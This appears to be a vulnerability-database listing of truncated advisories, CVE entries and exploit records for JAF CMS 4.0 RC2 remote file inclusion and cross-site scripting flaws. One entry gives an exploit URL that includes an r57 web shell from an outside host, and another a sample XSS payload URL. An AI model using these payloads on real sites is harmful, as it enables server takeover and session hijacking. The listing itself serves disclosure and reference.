Multiple Vulnerabilities in JAF CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in JAF CMS which could be exploited to compromise vulnerable system. 1 Remote code execution in JAF CMS The vulnerability exists due to insufficient sanitation of input data in module/log/vislog.php. A remote attack...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in just another flat file JAF CMS 4.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the 1 website parameter to a forum.php, b headlines.php, and c main.php in forum/, and 2 maindir parameter to forum/forum.php. NOTE: other...

CVE-2008-1609

Multiple PHP remote file inclusion vulnerabilities in just another flat file JAF CMS 4.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the 1 website parameter to a forum.php, b headlines.php, and c main.php in forum/, and 2 maindir parameter to forum/forum.php. NOTE: other...

Immunity Canvas: JAFCMS_INCLUDE

Name| jafcmsinclude ---|--- CVE| CVE-2008-1609 Exploit Pack| CANVAS Description| Jaf-CMS Remote File include Notes| CVE Name: CVE-2008-1609 VENDOR: Jaf-CMS Repeatability: Infinite References: http://packetstormsecurity.org/filedesc/jafcms-rfi.txt.html CVE Url: https://vulners.com/cve/CVE-2008-160...

CVE-2008-1609

Multiple PHP remote file inclusion vulnerabilities in just another flat file JAF CMS 4.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the 1 website parameter to a forum.php, b headlines.php, and c main.php in forum/, and 2 maindir parameter to forum/forum.php. NOTE: other...

CVE-2008-1609

CVE-2008-1609 affects JAF CMS 4.0 RC2. Connected sources describe a remote file inclusion vulnerability whereby input in the website parameter (to forum/main.php and forum/forum.php) and the main_dir parameter (to forum/forum.php) can be used to include arbitrary files, enabling arbitrary PHP exe...

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities + Author : XxX + Site : www.wikipediatr.com ============================================== Exploit : http://localhost/path/module/forum/forum.php?website=http://www.r57shell.in/r57.txt?...

jafcms-rfi.txt

┌┌───────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐...

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. ┌┌───────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rise...

JAF CMS 4.0.0 RC2 - website main_dir Multiple Remote File Inclusions

JAF CMS 4.0.0 RC2 - website maindir Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/28476/info JAF CMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to...

JAF CMS 4.0.0 RC2 - 'website' / 'main_dir' Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/28476/info JAF CMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and...

JAF CMS 4.0 RC2 - Multiple Remote File Inclusions

JAF CMS 4.0 RC2 - Multiple Remote File Inclusions ??????????????????????????????????????????????????????????????????????????????? ?? C r a C k E r ?? ?? T H E C R A C K O F E T E R N A L M I G H T ?? ?????????????????????????????????????????????????????????????????????????????? ????? From The Ash...

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities ==============================================================...

JAF CMS 4.0 RC2 - Multiple Remote File Inclusions

??????????????????????????????????????????????????????????????????????????????? ?? C r a C k E r ?? ?? T H E C R A C K O F E T E R N A L M I G H T ?? ?????????????????????????????????????????????????????????????????????????????? ????? From The Ashes and Dust Rises An Unimaginable crack.... ?????...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in ph03y3nk just another flat file JAF CMS 4.0 RC2 allow remote attackers to inject arbitrary web script or HTML via the 1 show parameter to index.php and the 2 print parameter to print.php. NOTE: the provenance of this information is unknown; the...

CVE-2007-6142

The CVE affects ph03y3nk just another flat file (JAF) CMS 4.0 RC2. It describes reflected Cross‑Site Scripting via the index.php show parameter and the print.php print parameter, enabling injection of arbitrary web script/HTML. The root cause is input handling in these two parameters leading to s...

CVE-2007-6142

Multiple cross-site scripting XSS vulnerabilities in ph03y3nk just another flat file JAF CMS 4.0 RC2 allow remote attackers to inject arbitrary web script or HTML via the 1 show parameter to index.php and the 2 print parameter to print.php. NOTE: the provenance of this information is unknown; the...

jafcms-xss.txt

JAF CMS - 4.0 Cross Site Scripting Vulnerability Source: http://sourceforge.net/projects/jaf-cms/ Author: Arham Muhammad POC: http://site/path/index.php?show="alert/xss/; There Is No Sign Of Filteration In Jaf-Cms, Making It Prune To Xss And Session Hijacking!...

CVE-2006-7128

PHP remote file inclusion vulnerability in forum/forum.php JAF CMS 4.0 RC1 allows remote attackers to execute arbitrary PHP code via a URL in the website parameter...

CVE-2006-7127

Multiple PHP remote file inclusion vulnerabilities in JAF CMS 4.0 and 4.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the maindir parameter to 1 forum/main.php and 2 forum/headlines.php...